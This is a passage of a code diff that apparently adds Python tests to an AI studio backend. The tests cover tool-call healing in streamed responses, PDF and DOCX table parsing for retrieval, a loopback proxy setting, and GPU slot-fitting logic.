tag" + (message_delta,) = [e for e in events if e.get("type") == "message_delta"] + assert message_delta["delta"]["stop_reason"] == "end_turn" + + def test_signal_split_across_chunks(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = "{"name":"lookup","arguments":{"q":"y"}}' + events = self._events( + self._emitter(disable_parallel_tool_use = True), + [self._chunk(content = two), self._chunk(finish_reason = "stop")], + ) + starts = [ + e + for e in events + if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + ] + assert len(starts) == 1 + + def test_disable_parallel_drops_native_after_healed(self): + # A healed call consumed the single allowed slot; a later native + # structured call (index 0, so it survives the caller's chunk-level + # cap) must not open a second tool_use block. + structured = [ + { + "index": 0, + "id": "call_up", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + events = self._events( + self._emitter(disable_parallel_tool_use = True), + [ + self._chunk(content = LOOKUP_XML), + self._chunk(tool_calls = structured), + self._chunk(finish_reason = "tool_calls"), + ], + ) + starts = [ + e + for e in events + if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + ] + assert len(starts) == 1 + + def test_no_healing_means_verbatim_text(self): + from core.inference.anthropic_compat import AnthropicPassthroughEmitter + + emitter = AnthropicPassthroughEmitter() # enable_healing never called + events = self._events( + emitter, + [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "stop")], + ) + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == LOOKUP_XML + + +class TestAnthropicNonStreamingRoute: + async def _drive( + self, + monkeypatch, + bodies, + auto_heal = None, + tools = None, + tool_choice = "auto", + ): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + tools if tools is not None else [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + tool_choice = tool_choice, + auto_heal_tool_calls = auto_heal, + ) + return client, json.loads(response.body) + + def test_promotes_xml_to_tool_use(self, monkeypatch): + async def _run(): + _, data = await self._drive(monkeypatch, [_upstream_message(LOOKUP_XML)]) + (block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert block["name"] == "lookup" + assert block["input"] == {"q": "x"} + assert data["stop_reason"] == "tool_use" + assert not any(b["type"] == "text" for b in data["content"]) + + asyncio.run(_run()) + + def test_opt_out_keeps_legacy_strip(self, monkeypatch): + async def _run(): + _, data = await self._drive( + monkeypatch, [_upstream_message(f"plan {LOOKUP_XML}")], auto_heal = False + ) + assert data["stop_reason"] == "end_turn" + (block,) = data["content"] + assert block["type"] == "text" + assert block["text"] == "plan" # XML stripped, nothing promoted + + asyncio.run(_run()) + + def test_undeclared_tool_not_promoted(self, monkeypatch): + async def _run(): + xml = '{"name":"rogue","arguments":{}}' + _, data = await self._drive(monkeypatch, [_upstream_message(xml)]) + assert data["stop_reason"] == "end_turn" + assert not any(b["type"] == "tool_use" for b in data["content"]) + # Healing preserves what it does not promote: the undeclared call + # reaches the client as text instead of being silently stripped. + (text_block,) = [b for b in data["content"] if b["type"] == "text"] + assert text_block["text"] == xml + + asyncio.run(_run()) + + def test_mixed_undeclared_text_preserved_after_heal(self, monkeypatch): + async def _run(): + # Declared call promoted to tool_use; the undeclared call's markup + # stays in the text block (the legacy strip must not run after a + # span-exact heal), matching the OpenAI passthrough. + rogue = '{"name":"rogue","arguments":{}}' + _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")]) + (tool_block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert tool_block["name"] == "lookup" + (text_block,) = [b for b in data["content"] if b["type"] == "text"] + assert rogue in text_block["text"] + assert data["stop_reason"] == "tool_use" + + asyncio.run(_run()) + + def test_length_beats_tool_use(self, monkeypatch): + async def _run(): + _, data = await self._drive( + monkeypatch, [_upstream_message(LOOKUP_XML, finish_reason = "length")] + ) + assert data["stop_reason"] == "max_tokens" + assert any(b["type"] == "tool_use" for b in data["content"]) + + asyncio.run(_run()) + + def test_tool_choice_none_keeps_legacy_strip(self, monkeypatch): + async def _run(): + # Anthropic {"type": "none"} arrives here converted to "none": + # the request forbade tool calls, so nothing is promoted and the + # legacy XML strip applies as before healing existed. + _, data = await self._drive( + monkeypatch, + [_upstream_message(f"plan {LOOKUP_XML}")], + tool_choice = "none", + ) + assert data["stop_reason"] == "end_turn" + (block,) = data["content"] + assert block["type"] == "text" + assert block["text"] == "plan" + + asyncio.run(_run()) + + +class TestOpenaiStreamingRoute: + def test_heals_streamed_xml(self, monkeypatch): + async def _run(): + pieces = ["", '{"name":"lookup",', '"arguments":{"q":"x"}}', ""] + lines = [ + 'data: {"id":"c1","model":"gguf","created":1,"choices":[{"index":0,"delta":{"content":%s}}]}' + % json.dumps(p) + for p in pieces + ] + lines += [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + (call,) = tool_deltas + assert call["function"]["name"] == "lookup" + assert json.loads(call["function"]["arguments"]) == {"q": "x"} + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["tool_calls"] + # None of the XML leaked as visible content. + text = "".join( + (c.get("delta") or {}).get("content") or "" + for p in payloads + for c in p.get("choices", []) + ) + assert "" not in text + assert chunks[-1] == "data: [DONE]\n\n" + + asyncio.run(_run()) + + def test_parallel_cap_drops_native_after_healed(self, monkeypatch): + async def _run(): + # parallel_tool_calls=false: a healed call consumed the single + # allowed slot, and the upstream SSE cap keeps native index 0, so + # the route must drop the later native call itself. + xml = '{"name":"lookup","arguments":{"q":"x"}}' + native = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_up","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + 'data: {"id":"c1","model":"gguf","created":1,"choices":' + '[{"index":0,"delta":{"content":%s}}]}' % json.dumps(xml), + native, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(parallel_tool_calls = False), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + (call,) = tool_deltas + assert call["id"] == "call_0" # the healed call; native was dropped + + asyncio.run(_run()) + + def test_false_alarm_text_flushes(self, monkeypatch): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"use the
tag"}}]}', + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + text = "".join( + (c.get("delta") or {}).get("content") or "" + for p in payloads + for c in p.get("choices", []) + ) + assert text == "use the
tag" + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["stop"] + + asyncio.run(_run()) + + def test_incomplete_xml_healed_at_done(self, monkeypatch): + async def _run(): + # No close tag and no finish chunk: healed at the [DONE] boundary, + # synthetic finish must say tool_calls. + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"{\\"name\\":\\"lookup\\",\\"arguments\\":{}}"}}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + assert len(tool_deltas) == 1 + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["tool_calls"] + + asyncio.run(_run()) + + def test_structured_upstream_calls_relay_verbatim(self, monkeypatch): + async def _run(): + line = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_up","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + line, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + assert chunks[0] == line + "\n\n" # byte-for-byte relay + + asyncio.run(_run()) diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py index f475c9e374..5ae0926990 100644 --- a/studio/backend/tests/test_rag_captioning.py +++ b/studio/backend/tests/test_rag_captioning.py @@ -172,8 +172,8 @@ def test_vision_complete_sends_auth_header(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): - captured.update(url = url, headers = headers) + def fake_post(url, *, json, timeout, headers, trust_env): + captured.update(url = url, headers = headers, trust_env = trust_env) return _Resp() monkeypatch.setattr(httpx, "post", fake_post) @@ -182,6 +182,7 @@ def test_vision_complete_sends_auth_header(monkeypatch): ) assert out == "ok" assert captured["headers"] == {"Authorization": "Bearer secret"} + assert captured["trust_env"] is False def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): @@ -198,13 +199,15 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): + def fake_post(url, *, json, timeout, headers, trust_env): captured["headers"] = headers + captured["trust_env"] = trust_env return _Resp() monkeypatch.setattr(httpx, "post", fake_post) captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8) assert captured["headers"] is None + assert captured["trust_env"] is False def test_merge_page_captions_dedups(): diff --git a/studio/backend/tests/test_rag_embed_llama_server.py b/studio/backend/tests/test_rag_embed_llama_server.py index 8321068afd..0e1f74cefe 100644 --- a/studio/backend/tests/test_rag_embed_llama_server.py +++ b/studio/backend/tests/test_rag_embed_llama_server.py @@ -373,6 +373,8 @@ def test_ensure_ready_respawns_dead_process(monkeypatch): def fake_spawn(): spawned["n"] += 1 b._process = _FakeProc(alive = True) + # _current() now also checks the served repo, so mark it current. + b._model_repo = config.effective_gguf_repo() monkeypatch.setattr(b, "_spawn", fake_spawn) b._ensure_ready() diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py new file mode 100644 index 0000000000..1945e09982 --- /dev/null +++ b/studio/backend/tests/test_rag_loopback_trust_env.py @@ -0,0 +1,52 @@ +"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG +package (all target the local 127.0.0.1 llama-server) must set trust_env=False.""" + +import ast +import os + +RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag") +HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"} + + +def _httpx_calls(path): + with open(path, encoding = "utf-8") as f: + tree = ast.parse(f.read(), filename = path) + calls = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + func = node.func + if ( + isinstance(func, ast.Attribute) + and func.attr in HTTPX_CALLEES + and isinstance(func.value, ast.Name) + and func.value.id == "httpx" + ): + calls.append(node) + return calls + + +def _sets_trust_env_false(call): + for kw in call.keywords: + if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False: + return True + return False + + +def test_rag_loopback_httpx_clients_disable_trust_env(): + # Scan every .py in the package so a new file with an httpx call can't bypass this. + checked = 0 + for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")): + path = os.path.join(RAG_DIR, fname) + for call in _httpx_calls(path): + checked += 1 + assert _sets_trust_env_false(call), ( + f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False " + f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)" + ) + assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}" + + +if __name__ == "__main__": + test_rag_loopback_httpx_clients_disable_trust_env() + print("OK: all RAG loopback httpx clients set trust_env=False") diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py index 4c46f49495..14ab0efe2e 100644 --- a/studio/backend/tests/test_rag_parsing.py +++ b/studio/backend/tests/test_rag_parsing.py @@ -86,3 +86,212 @@ def test_pdf_markdown_falls_back_when_lib_missing(tmp_path, monkeypatch): _table_pdf(pdf) pages = parsers.parse(str(pdf)) assert pages and "Quarter" in pages[0].text + + +def _long_text_pdf(path): + import pymupdf + + doc = pymupdf.open() + page = doc.new_page() + body = "The quick brown fox jumps over the lazy dog. " * 12 # >200 letters + page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), body, fontsize = 11) + doc.save(str(path)) + doc.close() + + +def test_pdf_markdown_corruption_falls_back_to_plain(tmp_path, monkeypatch): + # pymupdf4llm can emit shaped RTL Presentation Forms for Arabic/Hebrew; the parser + # detects that and uses PyMuPDF's logical-order text instead of the mangled Markdown. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + shaped = "".join(chr(c) for c in range(0xFE8D, 0xFEA0)) * 20 # heavy shaped forms + monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: [shaped] * doc.page_count) + pdf = tmp_path / "table.pdf" + _table_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "Quarter" in text # real logical-order text recovered + assert not parsers._markdown_corrupted(text) # shaped garbage not carried through + + +def test_pdf_markdown_incomplete_falls_back_to_plain(tmp_path, monkeypatch): + # If pymupdf4llm silently drops most of a page, the parser prefers the fuller raw layer. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: ["x"] * doc.page_count) + pdf = tmp_path / "long.pdf" + _long_text_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "quick brown fox" in text # fuller raw layer used, not the near-empty Markdown + + +def _docx_with_table(path): + import docx + + document = docx.Document() + document.add_paragraph("Intro before table.") + table = document.add_table(rows = 2, cols = 2) + table.cell(0, 0).text = "NAME" + table.cell(0, 1).text = "SCORE" + table.cell(1, 0).text = "Alice" + table.cell(1, 1).text = "97pts" + document.add_paragraph("Outro after table.") + document.save(str(path)) + + +def test_docx_extracts_table_cells(tmp_path): + # document.paragraphs alone drops tables; the parser walks body content in order so + # table cells survive (pipe-joined, which the preview locator anchors on). + pytest.importorskip("docx") + from core.rag import parsers + + docx_path = tmp_path / "t.docx" + _docx_with_table(docx_path) + text = "\n".join(p.text for p in parsers.parse(str(docx_path))) + assert all(v in text for v in ("NAME", "SCORE", "Alice", "97pts")) # cells kept + assert "Alice | 97pts" in text # row cells joined + assert text.index("Intro") < text.index("NAME") < text.index("Outro") # order kept + + +def test_docx_table_keeps_columns_and_collapses_cell_newlines(tmp_path): + # Empty cells are kept (so columns stay aligned across rows) and a cell's internal + # newlines are collapsed to spaces (so a multi-paragraph cell can't break the row). + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "A" + table.cell(0, 1).text = "" # empty middle cell + table.cell(0, 2).text = "C" + multiline = table.cell(1, 0) + multiline.text = "line1" + multiline.add_paragraph("line2") # cell now holds an internal newline + table.cell(1, 1).text = "mid" + table.cell(1, 2).text = "end" + path = tmp_path / "aligned.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert "A | | C" in text # empty cell preserved -> columns line up + assert "line1 line2 | mid | end" in text # internal newline collapsed to a space + + +def test_docx_table_merged_cell_keeps_grid_alignment(tmp_path): + # A horizontally merged cell repeats across the spanned columns: emit its text once + # then a placeholder, so the row keeps as many fields as its siblings (columns stay + # aligned) without duplicating the merged text. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "WIDE" + table.cell(0, 2).text = "END" + table.cell(0, 0).merge(table.cell(0, 1)) # span the first two columns + table.cell(1, 0).text = "a" + table.cell(1, 1).text = "b" + table.cell(1, 2).text = "c" + path = tmp_path / "merged.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.count("WIDE") == 1 # merged cell not duplicated across spanned columns + assert "WIDE | | END" in text # placeholder keeps 3 fields, aligned with "a | b | c" + assert "a | b | c" in text + + +def test_docx_table_pads_omitted_grid_columns(tmp_path): + # A row that skips leading grid columns exposes the gap via grid_cols_before; pad it + # with empty fields so the value stays under the right header instead of shifting left. + pytest.importorskip("docx") + import docx + from docx.oxml.ns import qn + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "H1" + table.cell(0, 1).text = "H2" + table.cell(0, 2).text = "H3" + tr = table.rows[1]._tr # drop the first cell and mark it skipped via + tr.remove(tr.tc_lst[0]) + trPr = tr.get_or_add_trPr() + trPr.insert(0, trPr.makeelement(qn("w:gridBefore"), {qn("w:val"): "1"})) + table.rows[1].cells[0].text = "X" # sits in column 2 + path = tmp_path / "gap.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert " | X | " in text # leading gap padded so X lines up under H2, not H1 + + +def test_docx_flattens_nested_table(tmp_path): + # cell.text ignores tables nested inside a cell; walk cell.tables so nested rows are + # not silently dropped from the indexed text. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + outer = document.add_table(rows = 1, cols = 1).cell(0, 0) + outer.text = "outer" + nested = outer.add_table(rows = 1, cols = 2) + nested.cell(0, 0).text = "NESTED-A" + nested.cell(0, 1).text = "NESTED-B" + path = tmp_path / "nested.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert "NESTED-A | NESTED-B" in text # nested table flattened, not dropped + + +def test_docx_nested_table_keeps_in_cell_order(tmp_path): + # A cell holding paragraph, nested table, paragraph must serialize in that order + # (cell.text alone would emit both paragraphs before the nested rows). + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + cell = document.add_table(rows = 1, cols = 1).cell(0, 0) + cell.text = "before" + nested = cell.add_table(rows = 1, cols = 2) + nested.cell(0, 0).text = "NESTED-A" + nested.cell(0, 1).text = "NESTED-B" + cell.add_paragraph("after") + path = tmp_path / "nested_order.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.index("before") < text.index("NESTED-A") < text.index("after") + + +def test_docx_table_vertical_merge_emitted_once(tmp_path): + # A vertically merged cell maps every continuation row back to the origin ; + # emit it once and leave placeholders below so a row-spanning label isn't repeated. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 3, cols = 2) + table.cell(0, 0).merge(table.cell(1, 0)).merge(table.cell(2, 0)).text = "SECTION" + table.cell(0, 1).text = "r0" + table.cell(1, 1).text = "r1" + table.cell(2, 1).text = "r2" + path = tmp_path / "vmerge.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.count("SECTION") == 1 # not repeated on each spanned row + assert "SECTION | r0" in text and " | r1" in text and " | r2" in text diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py index 4147746b54..a7ceb49ed9 100644 --- a/studio/backend/tests/test_responses_tool_passthrough.py +++ b/studio/backend/tests/test_responses_tool_passthrough.py @@ -1986,3 +1986,177 @@ class TestTranslatedMessagesValidate: msgs = _normalise_responses_input(payload) for m in msgs: ChatMessage(**m.model_dump(exclude_none = True)) + + +# ===================================================================== +# Streaming passthrough healing — text-form calls promoted in order +# ===================================================================== + + +class TestResponsesStreamHealing: + """Route-level healing on the /v1/responses stream: text-form tool calls + are promoted through the same per-call item state machinery as structured + deltas, and healer events keep their order (text around a healed call must + not move relative to the function_call item).""" + + _XML = '{"name":"lookup","arguments":{"q":"x"}}' + _TOOL = {"type": "function", "name": "lookup", "parameters": {"type": "object"}} + + @staticmethod + def _ordered_events(lines): + events = [] + for line in lines: + if not line.startswith("event: "): + continue + name, _, rest = line.partition("\n") + payload = json.loads(rest.split("data: ", 1)[1].strip()) + events.append((name[len("event: ") :], payload)) + return events + + def _run_stream(self, monkeypatch, content, **payload_kwargs): + TestResponsesStreamAdapter._install_stream_mock( + monkeypatch, [{"choices": [{"delta": {"content": content}}]}] + ) + payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream( + payload, messages, TestResponsesStreamAdapter._Request() + ) + return await TestResponsesStreamAdapter._collect(response) + + return self._ordered_events(asyncio.run(run())) + + def test_text_around_healed_call_keeps_order(self, monkeypatch): + events = self._run_stream(monkeypatch, f"before {self._XML} after.") + pos_before = pos_item = pos_after = None + for i, (name, payload) in enumerate(events): + if name == "response.output_text.delta": + if "before" in payload["delta"] and pos_before is None: + pos_before = i + if "after" in payload["delta"]: + pos_after = i + if ( + name == "response.output_item.added" + and payload["item"]["type"] == "function_call" + and pos_item is None + ): + pos_item = i + assert payload["item"]["name"] == "lookup" + assert pos_before is not None and pos_item is not None and pos_after is not None + assert pos_before < pos_item < pos_after + + def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch): + events = self._run_stream(monkeypatch, f"{self._XML} done.") + item_added = [ + (name, payload) for name, payload in events if name == "response.output_item.added" + ] + # The call came first in the model output, so its item is added first + # and claims the lower output_index; the trailing text's message item + # follows. + assert [payload["item"]["type"] for _, payload in item_added] == [ + "function_call", + "message", + ] + call_idx = item_added[0][1]["output_index"] + msg_idx = item_added[1][1]["output_index"] + assert call_idx < msg_idx + text = "".join( + payload["delta"] for name, payload in events if name == "response.output_text.delta" + ) + assert "done." in text + assert "" not in text + + def test_tool_choice_none_streams_raw_text(self, monkeypatch): + events = self._run_stream(monkeypatch, self._XML, tool_choice = "none") + assert not any( + payload["item"]["type"] == "function_call" + for name, payload in events + if name == "response.output_item.added" + ) + text = "".join( + payload["delta"] for name, payload in events if name == "response.output_text.delta" + ) + assert text == self._XML + + def test_healed_call_splits_message_items(self, monkeypatch): + # Text on both sides of a healed call becomes TWO message items: the + # healed function_call closes the first, trailing text opens a fresh + # one with a later output index (native Responses stream shape). + events = self._run_stream(monkeypatch, f"before {self._XML} after.") + added = [ + (payload["output_index"], payload["item"]["type"], payload["item"].get("id")) + for name, payload in events + if name == "response.output_item.added" + ] + assert [item_type for _, item_type, _ in added] == [ + "message", + "function_call", + "message", + ] + assert [idx for idx, _, _ in added] == sorted(idx for idx, _, _ in added) + assert added[0][2] != added[2][2] # distinct message item ids + # Text deltas attribute to their OWN message item. + deltas = [ + (payload["item_id"], payload["delta"]) + for name, payload in events + if name == "response.output_text.delta" + ] + assert [d for i, d in deltas if i == added[0][2]] == ["before "] + assert [d for i, d in deltas if i == added[2][2]] == [" after."] + # The completed snapshot lists all three items with per-item text. + completed = [payload for name, payload in events if name == "response.completed"] + output = completed[0]["response"]["output"] + assert [item["type"] for item in output] == ["message", "function_call", "message"] + assert output[0]["content"][0]["text"] == "before " + assert output[2]["content"][0]["text"] == " after." + + def test_parallel_cap_drops_native_after_healed(self, monkeypatch): + # parallel_tool_calls=false: a healed call consumed the single allowed + # slot; a later native structured call (index 0, so it survives + # _drop_parallel_tool_call_deltas) must not open a second + # function_call item. + TestResponsesStreamAdapter._install_stream_mock( + monkeypatch, + [ + {"choices": [{"delta": {"content": self._XML}}]}, + { + "choices": [ + { + "delta": { + "tool_calls": [ + { + "index": 0, + "id": "call_up", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + } + } + ] + }, + ], + ) + payload = ResponsesRequest( + input = "hi", + stream = True, + tools = [self._TOOL], + parallel_tool_calls = False, + ) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream( + payload, messages, TestResponsesStreamAdapter._Request() + ) + return await TestResponsesStreamAdapter._collect(response) + + events = self._ordered_events(asyncio.run(run())) + calls = [ + payload + for name, payload in events + if name == "response.output_item.added" and payload["item"]["type"] == "function_call" + ] + assert len(calls) == 1 + assert calls[0]["item"]["name"] == "lookup" diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py new file mode 100644 index 0000000000..ac606e4627 --- /dev/null +++ b/studio/backend/tests/test_slot_offload_fit.py @@ -0,0 +1,115 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`). + +When a pinned context does not fit at the requested `--parallel` slot count, Studio would +flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x +(oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the +largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with +synthetic VRAM maps; the KV term is mocked so totals are controlled and the reduction logic +is asserted directly (no GPU, network, or subprocess). +""" + +from __future__ import annotations + +import sys +import types as _types +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +from core.inference.llama_cpp import LlamaCppBackend + +MIB = 1024 * 1024 +CTX = 90624 +FRAC = LlamaCppBackend._GPU_PIN_VRAM_FRACTION # 0.97; usable = free - 0.03*total + + +def _backend( + vocab = 248320, + embd = 5120, + kv_fixed_mib = 0, +): + """Backend with the dims the compute buffer reads; KV mocked to a fixed size so the + only slot-dependent term is the compute buffer (485 MiB/slot f32 output x 1.15).""" + b = LlamaCppBackend.__new__(LlamaCppBackend) + b._vocab_size = vocab + b._embedding_length = embd + b._key_length_mla = None + b._estimate_kv_cache_bytes = lambda ctx, t = None, **k: kv_fixed_mib * MIB + b._can_estimate_kv = lambda: True + return b + + +def _run( + b, + n_parallel, + base_mib, + gpus, + total_by_idx, + overhead_mib = 0, +): + return b._slots_that_fit_on_gpu( + n_parallel, + CTX, + gpus, + total_by_idx, + int(base_mib * MIB), + "q8_0", + FRAC, + int(overhead_mib * MIB), + 1, + 512, + ) + + +class TestSlotsThatFitOnGpu: + """Compute-buffer per slot (vocab 248320, embd 5120): cb(1)=46, cb(2)=604, cb(3)=1162, + cb(4)=1719 MiB. Single 24 GB card usable = 24576 - 0.03*24576 = 23839 MiB.""" + + def test_reduces_to_largest_fitting_slot(self): + # base+KV = 22500: par4 (24219) over 23839, par3 (23662) fits -> 3 slots on GPU. + gi, use_fit, slots = _run(_backend(), 4, 22500, [(0, 24576)], {0: 24576}) + assert use_fit is False and gi == [0] and slots == 3 + + def test_floor_when_only_one_slot_fits(self): + # base 23400: par2 (24004) over, par1 (23446) fits -> drop all the way to 1. + gi, use_fit, slots = _run(_backend(), 4, 23400, [(0, 24576)], {0: 24576}) + assert use_fit is False and gi == [0] and slots == 1 + + def test_none_fit_stays_offload(self): + # Even a single slot (24046) exceeds usable -> genuine offload, unchanged. + gi, use_fit, slots = _run(_backend(), 4, 24000, [(0, 24576)], {0: 24576}) + assert use_fit is True and gi is None and slots == 4 + + def test_roomy_would_keep_all_but_helper_only_reduces(self): + # On a roomy card par4 fits, so load_model never calls this helper; if called it + # still only searches < n_parallel and never raises the count above the request. + gi, use_fit, slots = _run(_backend(), 4, 5000, [(0, 183000)], {0: 183000}) + assert use_fit is False and slots == 3 and slots < 4 + + def test_single_slot_request_is_noop(self): + # n_parallel == 1: nothing to reduce (range empty) -> report offload unchanged. + gi, use_fit, slots = _run(_backend(), 1, 22500, [(0, 24576)], {0: 24576}) + assert use_fit is True and gi is None and slots == 1 + + def test_multi_gpu_reduces_across_devices(self): + # Needs 2 GPUs: usable/GPU = 23839, cumulative 47677. base+KV 46200: par4 (47919) + # over, par3 (47362) fits across both -> 3 slots spanning [0, 1]. + gi, use_fit, slots = _run( + _backend(), 4, 46200, [(0, 24576), (1, 24576)], {0: 24576, 1: 24576} + ) + assert use_fit is False and gi == [0, 1] and slots == 3 + + def test_kv_counted_per_candidate(self): + # A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and + # base 19500 (= 22500 total at par-independent terms) the same par3 fit holds. + gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576}) + assert use_fit is False and slots == 3 diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py index e82b741a7b..c8875bf5db 100644 --- a/studio/backend/tests/test_startup_banner_loopback.py +++ b/studio/backend/tests/test_startup_banner_loopback.py @@ -5,6 +5,9 @@ only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP) must show its real address.""" +import io +import sys + import pytest from startup_banner import print_studio_access_banner @@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys): def test_alias_loopback_shows_canned_url(capsys, host): print_studio_access_banner(port = 8891, bind_host = host, display_host = host) assert "http://127.0.0.1:8891" in capsys.readouterr().out + + +def test_banner_prints_on_strict_cp1252_stdout(monkeypatch): + buf = io.BytesIO() + stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict") + 